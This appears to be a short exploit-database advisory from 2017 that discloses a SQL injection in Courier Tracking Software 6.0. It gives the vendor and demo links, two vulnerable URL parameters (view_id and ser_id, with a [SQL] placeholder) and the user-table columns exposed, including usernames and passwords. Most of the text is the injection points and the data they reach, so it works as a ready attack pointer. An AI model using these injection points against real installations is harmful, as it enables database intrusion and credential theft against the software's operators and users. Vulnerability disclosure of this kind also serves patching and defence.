Courier Tracking Software 6.0 SQL Injection
Posted on 27 March 2017
# # # # # # Exploit Title: Courier Tracking Software v6.0 - SQL Injection # Google Dork: N/A # Date: 26.03.2017 # Vendor Homepage: http://eagletechnosys.com/ # Software: http://www.eaglescripts.com/courier-tracking-software-ver-6 # Demo: http://courierv6.couriersoftwares.com/ # Version: 6.0 # Tested on: Win7 x64, Kali Linux x64 # # # # # # Exploit Author: Ihsan Sencan # Author Web: http://ihsan.net # Author Mail : ihsan[@]ihsan[.]net # #ihsansencan # # # # # # SQL Injection/Exploit : # http://localhost/[PATH]/eaglecov6.php?c=other&f=show_news_details&view_id=[SQL] # http://localhost/[PATH]/eaglecov6.php?c=homepage&f=services&ser_id=[SQL] # user:username # user:hub_name # user:password # user:hidden_pass # user:entrydate # user:onlinestatus # user:status # Etc... # # # # #
